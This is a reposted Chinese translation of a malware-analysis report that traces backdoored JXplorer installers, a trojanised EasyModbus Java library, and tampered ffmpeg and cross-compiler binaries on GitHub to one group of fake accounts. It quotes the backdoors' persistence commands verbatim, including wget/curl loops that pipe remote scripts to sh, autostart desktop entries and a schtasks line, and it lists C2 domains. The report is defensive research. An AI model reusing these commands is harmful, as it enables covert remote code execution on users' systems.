转载

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

一、概述

最近,我在使用VirusTotal Intelligence进行一些动态行为查询时,偶然发现了这个奇怪的 PE二进制文件 (MD5:7fce12d2cc785f7066f86314836c95ec)。该文件声称是JXplorer 3.3.1.2的安装程序,根据其 官网 提供的信息,JXplorer是一个基于Java的跨平台LDAP浏览器和编辑器。为什么我会说它非常奇怪呢?因为一个流行的LDAP浏览器,其安装程序应该不会创建计划任务,从而从免费动态DnS提供商托管的子域名下载和执行PowerShell代码:

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

我一开始,本来打算写一篇简短的文章,并专注于分析这个可疑的JXplorer二进制文件。然而,在我分析的过程中才发现,这实际上只是进入后门世界的一小步。

二、分析JXplorer

为了验证我在VirusTotal上的发现,我从 官方 的Jxplorer SourceForge存储库下载了Winodws平台上相匹配版本的安装程序。不出所料,两个文件的MD5哈希值并不相同。由于这些PE二进制文件都有7MB之大,因此我觉得只有当无路可走时才会选择对其进行反编译分析。于是,我开始着手进行更加简单的检查,以试图找到差异。由于二进制文件是使用UPX加壳的,所以我尝试使用UPX工具来对其进行脱壳,并比较了PE段的MD5值。除了资源段(Resource)之外,其他部分都是相同的。我并不确定PE中资源段的内容是如何影响安装程序的行为,因此我使用了 VBinDiff 来查看其确切的区别。通过使用该工具,我们发现了以下修改:

1、Manifest文件位于资源段,特别是其中的requestedExecutionLevel属性。原始版本的文件需要管理员权限(requireAdministrator),但修改后的版本则可以使用调用者的权限级别运行。

2、修改后版本有一个附加到文件的额外换行符,这也就解释了两个文件之间有1字节的大小差异。

3、存在一个相对较小(3230字节)的Blob,似乎是偏移量为0x4be095位置的ZLIB压缩数据。请注意ZLIB标头之前的明文文件名(http-2.7.9.tm,platform-1.0.10.tm):

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

前两个差异似乎并不重要,因此我专注于最后一个。识别到的ZLIB数据被放置在PE文件的覆盖空间中,我认为它可能是安装程序用于存储JXplorer文件的压缩包的一部分。幸运的是,在JXplorer官方页面上提及JXplorer会用到 BitRock Install Builder 。因此,经过快速搜索后,我成功找到了BitRock压缩包所对应的Tcl解压缩工具: bitrock-unpacker 。

我安装了 ActiveTcl ,并下载了所需的 SDX文件 ,然后使用bitrock-unpacker脚本从两个安装程序中解压缩JXplorer安装文件。然后,我使用 WinMerge工具 对生成的文件和目录进行比较。令我惊讶的是,二者没有任何差异,也就意味着JXplorer应用程序文件没有区别。这也意味着,我还需要进一步去挖掘。

在阅读了bitrock-unpacker的代码后,我注意到它首先安装了 Metakit 数据库,以便提取用于定位和提取存储JXplorer文件的 Cookfs 压缩包的安装程序文件。借助于现有的bitrock-unpacker代码,我创建了这个 Tcl脚本 ,将所有安装程序文件从Metakit数据库转储到了磁盘上。现在,我们再次比较BitRock安装程序的文件,终于产生了有趣的结果。

使用WinMerge查看,我们发现了一个区别,修改后的版本中有一个名为http-2.7.9.tm的文件,位于/lib/tcl8/8.4/目录中。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

尽管具有相同的大小和时间戳(从Cookfs压缩包中提取的atime、ctime、mtime),但我们修改后的安装程序中提取的文件http-2.7.9.tm(MD5:f6648f7e7a4e688f0792ed5a88a843d9, VirusTotal )并不是标准的http.tcl模块。相反,其中就包含我正要寻找的东西。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

以下是http-2.7.9.tm脚本所执行操作的简要描述:

1. 创建名为Notification Push(通知推送)的计划任务,以从hxxp://svf.duckdns[.]org下载并执行PowerShell代码。

2. 将JAR文件(MD5:9d4aeb737179995a397d675f41e5f97f)写入%TEMP%/../Microsoft/ExplorerSync.db之中。创建计划任务ExplorerSync以执行ExplorerSync.db。

3. 将JAR文件(MD5:533ac97f44b4aea1a35481d963cc9106)写入%TEMP%/BK.jar,并使用以下命令行参数执行:

hxxp://coppingfun[.]ml/blazebot
%USERPROFILE%/Desktop/sup-bot.jar

4. 执行上一步骤中下载的其他JAR文件。

5. Ping一个合法域名supremenewyork[.]com。

其中的一些动作,在我看来有点奇怪。为什么要将恶意软件投放在用户的桌面上?为什么要选择supremenewyork[.]com这个特定的域名?我不禁觉得,我正在研究的可能是修改后的安装程序的测试版本。文件的名称(blazebot、sup-bot)没有任何线索,因此我决定做一些在线的研究。

三、检索Blazebot

我们使用blazebot作为关键字,在Google上进行搜索,其中出现了一个结果,是由Stein Sørnson创建的YouTube视频,名称为 Blaze Bot Supreme NYC 。在该视频中,展示了一个下载、运行、配置基于Java的 Sneaker Bot 的过程,它被称为blazebot,或Supreme NYC Blaze Bot。在YouTube视频的内容和描述中,都引用了一个可以下载blazebot源代码的位置:一个GitHub存储库, steisn/blazebot ( 缓存页面 )。根据该资源库的Git提交信息,可以找到作者Stein Sørnson[email protected][.]ru。由此证明,Stein Sørnson就是YouTube视频和GitHub存储库的所有者。

凭借这样一个独特的名称,我们不难找到另外一个与SteinSørnson相关的在线账户,这一次是在SourceForge上,用户名为 allare778 ( 缓存页面 )。在个人信息页面上显示了完整的名称:

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

帐户allare778拥有3个项目:

1. supremebot ( 缓存页面 ),它引用了之前YouTube视频中讨论的内容,并托管了多个文件,其中包括supremebot.jar(MD5:2098d71cd1504c8be229f1f8feaa878b, VirusTotal ),与blazebot GitHub存储库中存在的同名文件(blazebot-1.02.11.jar)完全相同。

2. elitesubot ( 缓存页面 ),这是空的项目,其中没有列出任何过去的活动。

3. allesare ( 缓存页面 ),该项目中也不包含任何文件,但其中列出了项目的历史活动,包括以前上传的文件名称:

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

关于blazebot,还有一个额外的细节,但在最开始我没有过多留意。当时,我还没有去分析那个Sneaker Bot,我只是快速浏览了反编译的Java类。我发现,这个Bot中包含更新功能,该功能会从allare778用户的其他项目存储库下载经过AES加密和RSA签名的“更新指令”文件:

hxxp://allesare.sourceforge[.]net/en-us/bver

更新机制的实现似乎允许项目所有者在运行blazebot的主机上执行任意系统命令。

至此,我仍然认为修改后的JXplorer安装程序与“Supreme NYC Blaze Bot”之间的联系可能只是巧合。因此,我退了一步,开始分析从http-2.7.9.tm Tcl脚本中提取的两个JAR文件,希望它们能提供更多线索。

四、对JDL和FEN包的分析

这一分析过程比较迅速,因为两个JAR文件中都包含下载器和加载器。BK.jar文件(MD5:533ac97f44b4aea1a35481d963cc9106, VirusTotal )中包含实现简单下载器的jdl包。它将负责从第一个命令行参数提供的URL下载数据,然后将其保存到第二个命令行参数提供的文件中。

第二个JAR文件ExplorerSync.db(MD5:9d4aeb737179995a397d675f41e5f97f, VirusTotal )更加值得关注,因为其中包含两个硬编码的URL。在fen包中,实现了一个无限循环,将会尝试从以下两个URL下载并调用Java代码(来自fmb包):

hxxp://ecc.freeddns[.]org/data.txt
hxxp://san.strangled[.]net/stat

尽管在我们分析的过程中,san.strangled[.]net没有解析的IP地址,但根据DNS的A记录,ecc.freeddns[.]org域名指向了207.38.69[.]206,这是一个托管在Dynu网络重定向服务的IP地址。ecc.freeddns[.]org被设置为将HTTP请求重定向到jessicacheshire.users.sourceforge[.]net。但幸运的是,data.txt文件仍然存在。

五、对Feimea移动APP的分析

正如我们所预期的那样,data.txt(MD5:65579b8ed47ca163fae2b3dffd8b4d5a, VirusTotal )是另一个JAR文件。通过反编译代码,我们发现该代码很明显实现了RAT的典型功能。我并没有对代码进行完整的分析,但我在浏览代码时,还是发现了以下关键点:

1. 该工具将其自身标识为FEimea Portable App – ver. 3.11.2 Mainline。此外,还会返回以下版本字符串:Audio system : (none),Audio codecs : (none),但其中似乎并没有实现任何与音频相关的功能。

2. 该工具支持以下命令集:ACCESS,APPEND,BYE,COPY,DOWNLOAD,FETCH,HASH,LIST,LOGOUT,NOOP,PWD,REMOVE,RENAME,SELECT,STAT,VERSION。

3. 该工具似乎使用了嵌入式RSA系数和公钥指数(RSA modulus and public exponent)来加密和解密两个硬编码的命令与控制服务器的网络通信,分别是:limons.duckdns[.]org(TCP/13057)和polarbear.freeddns[.]org(TCP/7003)。

4. 该工具向以下URL发送了经过回转13位(ROT13)编码后的用户名、操作系统类型和体系结构:hxxp://utelemetrics.atwebpages[.]com/update.php?tag=<ROT13_DATA> 。

5. 该工具具有调用从硬编码URL获取Java代码的能力:hxxp://ecc.freeddns[.]org/a2s.txt(撰写本文时已不可访问)。

6. 该工具实现了一个非常具体的功能,从位于用户主目录中的.gitconfig文件中提取用户名值。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

六、对JXplorer的再次分析

我从官方网站上,下载了JXplorer安装程序的最新Windows版本(3.3.1.2),并将MD5哈希值与官方GitHub存储库 pegacat/jxplorer 进行比对。结果表明,二者是相同的(MD5:c23a27b06281cfa93641fdbb611c33ff)。我也对多个从软件托管网站上下载的JXplorer进行了相同的哈希值运算,结果证明它们都完全一致。接下来,我使用SourceForge镜像中抓取的文件重复了这一过程,结果也与前面的这些文件相一致。接下来,我在GitHub上搜索了JXplorer:

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

如果没有看到存储库的Stars数量,我可能就忽略了这一点。我发现,官方的JXplorer GitHub存储库由39颗星,而下面的 serkovs/jxplorer ( 缓存页面 )则有官方存储库的2倍之多。更奇怪的是,serkovs/jxplorer甚至都不是官方JXplorer存储库的克隆文件,其中只包含一个JXplorer 3.3.1.2的Linux版本安装程序:

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

我从两个存储库中分别下载了Linux安装程序(32位ELF二进制文件),并对二者进行了比较。最初,仅观察文件大小,我就发现二者是不一样的。原版Linux安装程序文件jxplorer-3.3.1.2-linux-installer.run(MD5:0c00fd22c65932ba9ce58b4ba6107cf0, VirusTotal )的大小为7679495字节,而从serkovs/jxplorer下载的安装程序(MD5:0489493aeb26b6772bf3653aedf75d2a, VirusTotal )文件稍大,有7954444字节。

这两个文件都是由BitRock Install Builder生成的,这是用于创建Windows版本安装程序的文件。于是,我立即使用了bitrock-unpacker来提取JXplorer软件的文件,然后进行比较。二者没有差异。接下来,我提取了BitRock安装程序文件。同样,文件是相同的。因此,我决定进一步检查从serkovs/jxplorer存储库下载的二进制文件。在使用十六进制编辑器浏览二进制文件时,我注意到了使用UPX进行加壳的字符串特征。但是,我尝试使用UPX工具脱壳时,发现是失败的,并且没有产生UPX的错误提示。经过一番思考,我意识到,该文件缺少了通常需要的UPX魔术值(Magic Value),这些魔术值被“L1ma”字符串所替代。幸运的是,当我们使用UPX的原始值来替换所有出现的L1ma时,UPX工具就成功对该文件进行了脱壳。

获得脱壳后的文件(MD5:25c47cf531e913cb4a59b2237ab85963, VirusTotal )之后,我花费了一些时间对它进行逆向,最后发现了一个可疑的函数,它首先使用256字节长度的XOR密钥(位于文件偏移量0x66700位置)解密一段704字节的数据(位于文件偏移量0x92040位置)。解密的数据包含15个以空字符结尾的字符串。该代码的最终目标是建立持久性,并执行以下命令:

/bin/sh -c 'while true;do wget hxxp://yzyaio.onlinewebshop[.]net/act/stat.php?info=SLADE -O -|sh;sleep 60;done>/dev/null 2>&1'

该代码有两条主要的执行路径,具体取决于执行的权限。当以root权限运行时,代码将执行以下操作:

1. 创建一个新的systemd服务rpc-statd-sync(该服务的描述:Sync NFS peers due to a restart),以执行上面的一行代码。

2. 通过创建desktop条目(~/.config/autostart/.desktop)来执行上面的一行代码,为系统的每个用户创建额外的持久性。

当不具有root权限时,代码只会感染当前用户。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

尽管,我们已经非常彻底地分析清楚了修改后的Linux版本软件,但现在,我还没有证据是同一个恶意组织修改了Linux和Windows两个版本的JXplorer安装程序。并且,我非常好奇,我还能在GitHub上找到什么?

七、发挥社交图谱的力量

我开始浏览给serkovs/jxplorer存储库加星或添加关注的GitHub帐户,很快就注意到了一些固定的模式:

1. 这些帐户似乎是在特定日期分多个批次创建的,好像是一个自动化流程。

2. 在2018年3月4日创建的帐户没有发布任何内容,只是用于给其他41个存储库加星。

3. 在更早的时间(2018年2月)创建的帐户,用于托管单个存储库,并通过加星和订阅来增加其他存储库的真实性。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

托管存储库的帐户之间,还有其他相似之处:

1. 每个帐户都托管了一个存储库,其中包含一个或两个提交的历史记录。

2. Git提交信息中的作者字段,都使用了斯洛伐克的一个免费电子邮箱pobox[.]sk,其用户名通常与GitHub上使用的用户名相对应。

3. Git提交信息中存在的时间戳始终使用CET时区。

4. 不同帐户提交的信息往往是一致的。不同帐户的不同存储库中,都曾出现了用法错误的消息“2st commit”,例如:aurelrybar/editbox和henrichjahoda/ardublock。

5. 提交过程似乎是自动化的,并且针对不同的帐户和存储库,是在连续的特定时间发生,例如:gabrieolo/bounceball(2018-04-28 11:11:17)、karibanker/eug(2018-04-28 11:11:18)、jeanelletobler/gumbo(2018-04-28 11:11:19)。

6. 大多数存储库都托管一个JAR文件,通常是游戏(例如:gabrieolo/bounceball)、工具(例如:jelamarucka/pdfjumbler)或者库(例如:vaclaw281/junit)

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

我最终使用了GitHub的API和Neo4j来收集和分析与可疑帐户和存储库相关联的元数据。数据显示,只有这些可疑GitHub帐户之间会互相订阅和加星彼此的存储库。

由于受到时间和资源的限制,我无法分析每个已识别的存储库中的每一个文件,因此我只对其中一小部分文件进行了分析。其中。有两个存储库中包含值得注意的工件,这些工件允许我给这些帐户建立起额外的连接,并填补现有的空白。在下面链接的SVG图中,展示了serkovs、mansiiqkal和ballory帐户与其他帐户的存储库之间的一些“社交互动”。

完整的社交图谱: https://dfir.it/images/the-supreme-backdoor-factory/social_graph.svg

八、寻找缺少的关联

我决定检查 ballory ( 缓存页面 )存储库中的内容,因为它看上去不像大多数已经识别的存储库那样,它其中并不包含JAR文件,而是有一些Linux二进制文件,声称其为“FFmpeg Linux Build (64 bit)”。此外,这个存储库并没有像其他库那么多的加星和订阅者(只有14个),但是该帐户至少对其他60个存储库进行了加星和订阅。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

存储库中的readme.txt文件直接链接到www.johnvansickle.com/ffmpeg/,这是一个托管用于Linux的静态ffmpeg构建的网站。实际上,文件名和目录结构与我下载的版本一致。我并没有在readme.txt列出来的文件中找到ffmpeg-git-20180427-64bit-static.tar.xz这个文件构建,因此我无法比较这个文件。

在我一开始分析ffmpeg 64位ELF二进制文件(MD5:c78ccfc45bfba703cce0fc0c75c0f6af, VirusTotal )时,我立即注意到了入口点的可疑代码。该代码通过/proc/self/exe映射二进制文件,然后跳转到特定的偏移量位置,距离文件末尾624个字节。在转储和反汇编占用二进制文件的最后624字节的ShellCode之后,我们就只剩下一个短的解密循环(XOR 0x37,SUB 0x2e)和加密后的数据。经过解密后,数据包含ShellCode,负责通过execve系统调用在子进程中分叉并执行以下命令:

/bin/sh -c 'cd /home/`whoami`/.config&&mkdir -p autostart&&cd autostart&&echo [Desktop Entry]>y&&echo Type=Application>>y&&echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/en-us/m -O -|sh;sleep 60;done'">>y&&chmod 755 y&&mv y .desktop'

这正是我想要的。Allesare的SourceForge项目由allare778(SteinSørnson)的帐户所拥有,这一发现也让GitHub用户ballory与allesare之间创建了关联性。

剩下的部分代码应该在其父进程中运行,并负责解密(XOR 0x11,SUB 0x31)位于文件末尾780字节中的162字节数据,并跳转到这部分。解密后的数据中似乎包含原始入口点功能。

此外,我还分析了来自存储库的其他一些二进制文件:ffmpeg-10bit(MD5:6d5bea9bfe014fc737977e006692ebf3, VirusTotal )、ffprobe(MD5:98f8600ff072625fd8ff6b3e14675648, VirusTotal )、qt-faststart(MD5: e9b58b1e173734b836ed4b74184c320b, VirusTotal ),发现其中都包含相同的ShellCode,位于从文件末尾开始的相同偏移位置,并使用相同的解密例程。唯一的差异就在于硬编码的偏移量不同。

九、继续深挖缺少的关联

值得关注的第二个存储库是 mansiiqkal/easymodbustcp-udp-java ( 缓存页面 )。该存储库被serkovs和ballory两个帐户加星并订阅。根据其描述(Easy Modbus TCP/UDP/RTU)和其中的文件名(EasyModbusJava.jar),我们可以看出,其中包含 EasyModbus Java库 。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

我从EasyModbus官方网站下载了EasyModbusJava.jar(MD5:56668c3915a0aa621d7f07aa11f7c8a9, VirusTotal )的最新版本(2.8,发布于2017年3月14日),并将其与mansiiqkal/easymodbustcp-udp-java的EasyModbusJava.jar(MD5:4d18388a9b351907be4a9f91785c9997, VirusTotal )进行了比较。

毫无疑问,两个文件是不一样的。我使用zipinfo列出了压缩包的文件和元数据。来自mansiiqkal/easymodbustcp-udp-java的JAR文件较大(114504字节,原始文件为97272字节),其中包含一个额外的文件(INumberOfConnectedClientsChangedDelegator1.class)。根据时间戳,我们判断重新打包的时间为2018年3月22日的18:29:58,而这又与Git提交消息中存在的时间戳相关联。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

为了确认是否还有其他不同之处,我使用Jd-Gui从两个JAR文件中保存反编译的Java类,然后使用WinMerge查看其差异。在忽略了反编译器生成的代码格式化工件后,我发现:

1. 额外文件de/re/easymodbus/server/INumberOfConnectedClientsChangedDelegator1.class中包含三个大字节数组,似乎是一个解密函数。

2. 其他12个类都显式导入了INumberOfConnectedClientsChangedDelegator1类。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

INumberOfConnectedClientsChangedDelegator1类中的代码用于将文件投放到磁盘上,并建立持久性。该代码使用自定义的解密例程来解密字节数组,然后使用生成的Blob(3011字节,MD5: cf2ca657816af534c07c8ceca167e25b, VirusTotal )作为文件内容和字符串(文件名、系统命令)的来源。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

根据执行代码的主机的操作系统类型,它会执行不同的操作:

1. Linux

该代码会将JAR文件(MD5:9d4aeb737179995a397d675f41e5f97f)投放到$HOME/.local/share/bbauto,并通过设置$HOME/.config/autostart/none.desktop文件来创建桌面条目的持久性,并执行以下命令:

/bin/sh -c "java -jar $HOME/.local/share/bbauto"

该代码还创建了一个额外的桌面条目$HOME/.config/autostart/.desktop,并将其设置为执行以下命令:

/bin/sh -c 'while true;do wget hxxp://eln.duckdns[.]org/se -O -|sh;sleep 60;done'

2. macOS

该代码会将JAR文件(MD5:9d4aeb737179995a397d675f41e5f97f)投放到$HOME/Library/LaunchAgents/AutoUpdater.dat,并通过创建名为AutoUpdater的启动代理($HOME/Library/LaunchAgents/AutoUpdater.plist)来创建持久性。

该代码还创建了一个名为SoftwareSync的附加启动代理,用于执行以下命令:

/bin/sh -c 'while true;do curl hxxp://eln.duckdns[.]org/se -o -|sh;sleep 60;done'

3. Windows

该代码会将JAR文件(MD5:9d4aeb737179995a397d675f41e5f97f)投放到%temp%/../Microsoft/ExplorerSync.db,并通过执行以下命令来建立持久性:

schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%/../Microsoft/ExplorerSync.db" /sc MINUTE /f

投放的JAR文件、Windows文件和任务计划名称(ExplorerSync.db、ExplorerSync)与修改后的JXplorer Tcl安装程序脚本中发现的完全相同。由此,也就为mansiiqkal/easymodbustcp-udp-java存储库与修改后的JXplorer安装程序之间创建了关联性。

我还分析了早期版本的EasyModbusJava.jar(MD5:38f51f6555eba1f559b04e1311deee35, VirusTotal ),该文件在2018年2月20日提交到mansiiqkal/easymodbustcp-udp-java存储库。其中包含相同的附加Java类,但由于加密数组的更改和引用解密数据偏移量不同,所以代码略有不同。在解密后,Blob(3011字节,MD5:9a3936c820c88a16e22aaeb11b5ea0e7, VirusTotal )包含的内容大部分都与后续版本相同。唯一值得注意的差异就是,这里使用了%APPDATA%而不是%TEMP%作为Windows系统上投放JAR文件的目录位置。

十、总结

追寻着这些蛛丝马迹,我最终发现了恶意软件与在线基础架构之间的联系:

1. 我们在VirusTotal上找到的修改后JXplorer Windows安装程序与在GitHub上找到的修改后的EasyModbus Java库(mansiiqkal/easymodbustcp-udp-java)投放了相同的JAR文件(FEN下载程序,MD5:9d4aeb737179995a397d675f41e5f97f)。其投放的文件路径(%TEMP%/../Microsoft/ExplorerSync.db)与计划任务名称(ExplorerSync)也完全一致。

2. GitHub帐户mansiiqkal与ballory和serkovs等帐户同属于一个“社交圈”。这些帐户通过互相加星和互相订阅彼此的存储库来实现相互关联。

3. 在GitHub帐户ballory中,创建了包含ffmpeg工具修改版本的ballory/ffmpeg存储库。这些工具中存在的恶意代码被设置为从SourceForge项目的URL hxxp://allesare.sourceforge[.]net/下载文件。该项目由一个名为allare778(SteinSørnson)的帐户所有。同一个帐户拥有另一个名为supremebot的项目,托管一个同名的Sneaker Bot(其描述为Supreme New York Bot)。

4. SourceForge上supremebot项目中的supremebot.jar文件(MD5:2098d71cd1504c8be229f1f8feaa878b)也存在于帐户steisn(Stein Sørnson)的GitHub存储库中。此外,YouTube帐户SteinSørnson还发布了一个关于Blaze Bot Supreme NYC的视频。巧合的是,修改后的JXplorer Windows安装程序中出现的恶意代码,引用了“blazebot”和“supremenewyork[.]com”。

5. GitHub帐户serkovs创建了包含已修改的JXplorer Linux安装程序文件的serkovs/jxplorer存储库。尽管二进制文件中存在的恶意代码未引用先前观察到的任何基础结构,但修改后的JXplorer安装程序(适用于Windows和Linux)可以与这些GitHub帐户相关联(参见第1点)。

十一、这就结束了吗?

根据所分析文件中的特定指标,以及收集的GitHub存储库元数据,我们现在其实可以发现其他相关的恶意代码。

我开始使用VirusTotal的搜索功能,结果返回了一组属于同一恶意软件家族——Eimea Lite App的二进制文件。该恶意软件的功能和支持的命令,似乎与我们之前分析的FEimea移动应用程序密切相关。其主要区别在于,FEimea Portable APP是使用Java编写的,但Eimea Lite应用程序是以Windows和Linux操作系统的编译后二进制文件形式出现。我们观察到的每个Eimea Lite App实例都内置在 LAME 编码器工具中,这可能是为了阻止检测。

在2017年8月26日,有一个最早上传到VirusTotal的样本,其名称为supreme_bot2.cpl(MD5:815db0de2c6a610797c6735511eaaaf9, VirusTotal )。该样本使用两个命令与控制服务器,分别是sanemarine.duckdns[.]org和lemonade.freeddns[.]org,其中使用了Allesare Ltd颁发的签名证书,并支持与基于Java的FEimea Portable App类似的命令集:

CAPABILITY EIAPrev1.33 EAUTH SELECT EXAMINE STATUS PWD LIST STAT SEARCH ESEARCH RENAME HASH FETCH COPY APPEND LINK SYMLINK REMOVE ACCESS NOOP LOGOUT

最新的样本Aero.cpl(MD5:dd3a38ee6b5b6340acd3bb8099f928a8, VirusTotal )在2018年11月25日被上传到VirusTotal,它与文件中的版本字符串相关:

Eimea Lite app - ver. 3.11  Mainline
Audio system : IMM Framework
Audio codecs : pcm lame-mp3 opencore-amrnb soxr
Build Nov 25 2018 11:54:25  Win32

该实例使用与我们在第五章中分析的FEimea Portable App样本(MD5:65579b8ed47ca163fae2b3dffd8b4d5a)相同的命令与控制服务器limons.duckdns[.]org和polarbear.freeddns[.]org。

我的另一个调查方向是专注于进一步探索GitHub社交图。我之前提到的这些可疑GitHub帐户和存储库创建了一个小范围的网络,但我发现,在图中似乎还有一些值得注意的端点。

其中的一个端点就是Andrew Dunkins( adunkins )( 缓存页面 ),其中包括9个存储库,每个存储库中都托管了Linux交叉编译工具。并且,每个存储库都由几个已知的可疑帐户关注或加星。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

该帐户乍一看来似乎是合法的,因为它包含个人资料图片和描述,这与之前发现的项目不一致。然而,我们查看托管在其中一个存储库中的样本ELF二进制文件(i686-w64-mingw32-addr2line,MD5:b54156221d1c5387b8de0eb4605dc3a0, VirusTotal ),在二进制文件的末尾有一个ShellCode,几乎与从ballory/ffmpeg存储库中获取的ffmpeg二进制文件中的ShellCode相同。唯一的区别是,ShellCode将执行以下命令:

/bin/sh -c cd /home/`whoami`/.config;mkdir autostart;cd autostart;>y echo [Desktop Entry];>>y echo Type=Application;>>y echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/test/msg -O -|sh;sleep 60;done'";chmod 755 y;mv y .desktop

总的来说,Andrew Dunkins的9个GitHub存储库中,共包含305个后门ELF二进制文件。

进一步,我又找到了一个额外的帐户(snacknroll11),该帐户给Andrew Dunkins的一些存储库加过星,其中有一个存储库的名称和描述引起了我们的关注( streettalk_priv_bot – Supreme Bot )( 缓存页面 )。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

尽管二进制文件的名称和描述是这样写的,但该存储库中包含的文件(supremebot.exe)实际上与前面所分析的不同。

文件supremebot.exe(MD5:6ee28018e7d31aef0b4fd6940dff1d0a, VirusTotal )实际上是Windows版本JXplorer 3.3.1.2安装程序的另一个修改版本。安装程序中还包含经过修改后的http-2.7.9.tm文件(MD5:3a75c6b9b8452587b9e809aaaf2ee8c4, VirusTotal ),但是Tcl脚本执行的某些操作与最初分析的版本略有不同:

1. 使用BITSAdmin和PowerShell从hxxp://enl.duckdns[.]org下载批处理脚本并执行。

2. 将一个JAR文件(MD5:d7c4a1d4f75045a2a1e324ae5114ea17, VirusTotal )投放到BR.jar。这个JAR文件是之前描述的JDL下载程序的另一个版本。

尽管我们已经揭开了这个恶意组织的面目,并追溯了他们历史上的活动,但我认为,这还并不是结束。

我是如何通过分析后门JXplorer样本发现其背后的恶意组织

附录

由于恶意组织可以随时修改他们的GitHub帐户及存储库,因此我在本文中涉及到的全部存储库都附带了一个缓存页面,可以供大家查看历史页面。

相关GitHub帐户的完整列表: https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_accounts.txt

相关GitHub存储库的完整列表: https://github.com/dfir-it/supreme-backdoor-factory/blob/master/github_repositories.txt

相关IoC清单: https://github.com/dfir-it/supreme-backdoor-factory/blob/master/iocs.csv

原文  http://4hou.win/wordpress/?p=29849
正文到此结束
Loading...